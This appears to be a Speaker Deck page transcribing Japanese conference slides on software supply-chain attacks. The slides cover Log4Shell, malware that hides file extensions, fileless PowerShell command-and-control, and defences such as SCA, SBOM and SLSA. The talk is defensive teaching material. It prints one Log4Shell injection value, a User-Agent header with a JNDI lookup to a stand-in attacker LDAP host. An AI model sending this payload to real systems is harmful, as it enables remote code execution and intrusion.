Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を...
Search
kitaji0306
October 27, 2024
Technology
0
270
端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を理解しよう
2024-10-27 に開催された JJUG CCC 2024 Fall の登壇資料です。
(デモ部分はスクショに差し替えてます)
kitaji0306
October 27, 2024
Tweet
Share
More Decks by kitaji0306
See All by kitaji0306
セキュリティにおける暗号の基礎とこれからの話
kitaji0306
0
290
Other Decks in Technology
See All in Technology
信頼性を支えるテレメトリーパイプラインの構築 / Building Telemetry Pipeline with OpenTelemetry
ymotongpoo
9
4.1k
Japan AWS Jr. Championsがお届けするre:Invent2024のハイライト ~ラスベガスで見てきた景色~
fukuchiiinu
0
1.1k
2025-01-24-SRETT11-OpenTofuについてそろそろ調べてみるか
masasuzu
0
130
サービスローンチを成功させろ! 〜SREが教える30日間の攻略ガイド〜
mmmatsuda
2
3.6k
月間60万ユーザーを抱える 個人開発サービス「Walica」の 技術スタック変遷
miyachin
5
1.3k
HCP TerraformとAzure:イオンスマートテクノロジーのインフラ革新 / HCP Terraform and Azure AEON Smart Technology's Infrastructure Innovation
aeonpeople
3
830
スクラムマスターの活動と組織からの期待のズレへの対応 / Dealing with the gap between Scrum Master activities and organizational expectations
pauli
2
970
なぜfreeeはハブ・アンド・スポーク型の データメッシュアーキテクチャにチャレンジするのか?
shinichiro_joya
3
900
MicrosoftのOSSだけでAIによるブラウザテストを構成する
ymd65536
1
220
ハンズオンで学ぶ Databricks - Databricksにおけるデータエンジニアリング
taka_aki
1
2k
re:Invent Recap (January 2025)
scalefactory
0
320
Redmineの意外と知らない便利機能 (Redmine 6.0対応版)
vividtone
0
140
Featured
See All Featured
Large-scale JavaScript Application Architecture
addyosmani
510
110k
A Modern Web Designer's Workflow
chriscoyier
693
190k
Building Adaptive Systems
keathley
39
2.4k
Gamification - CAS2011
davidbonilla
80
5.1k
Facilitating Awesome Meetings
lara
51
6.2k
The Illustrated Children's Guide to Kubernetes
chrisshort
48
49k
Designing for humans not robots
tammielis
250
25k
Building Better People: How to give real-time feedback that sticks.
wjessup
366
19k
ピンチをチャンスに:未来をつくるプロダクトロードマップ #pmconf2020
aki_iinuma
113
50k
Rails Girls Zürich Keynote
gr2m
94
13k
The Straight Up "How To Draw Better" Workshop
denniskardys
232
140k
4 Signs Your Business is Dying
shpigford
182
22k
Transcript
端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を理解しよう JJUG CCC 2024 Fall 北島 悠 #jjug_ccc #jjug_ccc_i
アジェンダ • 自己紹介 • Log4Shellから約3年どんな脆弱性だったか • ソフトウェアサプライチェーン攻撃 • リモートから操作されるイメージ •
デモ • まとめ • 最後に
自己紹介 セキュリティアーキテクト(名乗ってます) • セキュリティしか勝たん • プリセールス、人材育成、啓蒙活動などなど • @kitaji0306 北島 悠(キタジー)
Log4Shellから約3年どんな脆弱性だったか
どんな脆弱性だったか • 2021年12月10日 くらいから話題となった • Javaの有名ログライブラリApache Log4j2 起因 •
サーバ内部でコード(コマンド)実行可能 リモートコード実行 (RCE:Remote Code Execution)
当時の全社メール 2021年12月10日(金) SNSで情報拡散 画像引用元: JPCERT/CC:Apache Log4j2のRCE脆 弱性(CVE-2021-44228)を狙う攻撃観測 2021年12月13日(月)15:57
攻撃の一連の流れ LDAPを用いた攻撃の流れと各ポイントでの対策( GovCERT.chの記事より 概要図を引用) 外部から指定 可能なパラメー タやヘッダを利 用 User-Agent:
${jndi:ldap://evil.xa/x} 攻撃者が準備した LDAPサーバ Base64エンコード済 みのSerializeされた Javaオブジェクト Deserializeされた Javaオブジェクト の実行 JNDI Lookupという仕 様で解析されLDAP サーバへ通信
技術要素確認 • JNDI(Java Naming and Directory Interface) ◦ 外部リソース(LDAP等)
に接続する仕組を提供 • LDAP(Lightweight Directory Access Protocol) ◦ ディレクトリ(テキスト)情報 と通信するプロトコル • Serialize(シリアライズ) ◦ オブジェクト をbyte形式(テキストも可)に可逆変換
攻撃された具体例 画像引用:マインクラフト公式サイト (https://www.minecraft.net/ja-jp)
Log4shellという脆弱性の恐ろしいところ • 高リスクの脆弱性(CVSSスコア:10.0も有り) ◦ リモートコード実行 はシステム侵入の起点にもなる • パッチより先に攻撃方法のPoCが公開された ◦
アプリケーションで即時防御不可能なゼロデイ攻撃 • 多数のライブラリに暗黙的に内包されていた ◦ アプリの影響範囲特定が難しい ソフトウェアサプライチェーンの課題
ソフトウェアサプライチェーン攻撃
主にサプライヤーを経由する攻撃のこと サプライチェーン攻撃とは 大企業 取引先 海外子会社 強固なセキュリティで直 接攻撃は困難 セキュリティ対策の甘
い関連企業を攻撃 間接的に攻撃 攻撃者
ソフトウェアサプライチェーン攻撃とは 監 視 運 用 デプロイ コード ビルド テスト 計 画 リリース
Dev Ops 脆弱コードを仕込む ゼロデイ攻撃 API連携先から攻撃 依存パッケージから攻撃 脆弱なコンテナイメージ テスト支援ツールから攻撃 主に各工程で利用するOSSに依存した攻撃
どうしたらOSSを安全に利用出来る? 早い段階でのリスク発見と対策が必要 • SCA(ソフトウェア構成分析) ◦ 脆弱性スキャン による脆弱なライブラリの検知 • SBOM(ソフトウェア部品票)
◦ ソフトウェアサプライチェーンの可視化 • SLSA(Supply-chain Levels for Software Artifacts) ◦ 開発工程の成熟度 を測るセキュリティフレームワーク
リモートから操作されるイメージ
ファイル実行で動作 (従来のマルウェア) 仕様書.docx … 仕様書.docx .exe ファイル名を長くし て拡張子を隠す
(偽の拡張子は表 示される) 気づかないで実行
コマンドを受信して動作 (ファイルレスマルウェア) PC(Windows) PC内部のPowerShell C&C (コマンド&コントロール)サーバ
攻撃者 Officeファイルやブ ラウザの脆弱性を 利用してスクリプトを 埋め込む スクリプトから PowerShellを起動 C&Cサーバに接続 マルウェアをダウンロー ドして活動開始 ① ② ③ ④
デモ
正当な理由なく ウイルス作成、実行、不正アクセスは 犯罪です。 駄目絶対!! と、その前に
デモの登場人物及び環境 • Attacker(攻撃者) ◦ AWS EC2 ▪ ここからリモート操作する(C&Cサーバ)
• Victim(被害者) ◦ ウイルス対策ソフトの入ったWindows11(このPC) ▪ Java開発者がOSSのライブラリを利用したアプリを開発中
デモのシナリオ • 1:Attacker ◦ サーバで接続待ち受けコマンド実行 • 2:Victim
◦ ぬるぽライブラリを使った関数のテストを実行 ▪ マルウェアモドキをダウンロードしてC&Cサーバに接続 • 3:Attacker ◦ ぬるぽライブラリを実行したPCのコンソールを操作
デモ画面へGO
None
None
まとめ
まとめ • Log4Shellは非常に恐ろしい脆弱性だった ◦ 攻撃の仕組み を理解するだけでも有用 • ソフトウェアサプライチェーン攻撃対策 ◦ 開発工程早期のセキュリティ対策
が有用 • ツール(SSHやRDP)不要でリモート操作可能 ◦ 対策ソフト以外に各自のセキュリティ意識も重要 自分たちのソフトウェアを自分たちで守る
最後に
みんなの学びを少しでも公開すると 新たな気づきを得る人が増えます。 どこでも良いので アウトプット してみましょ!!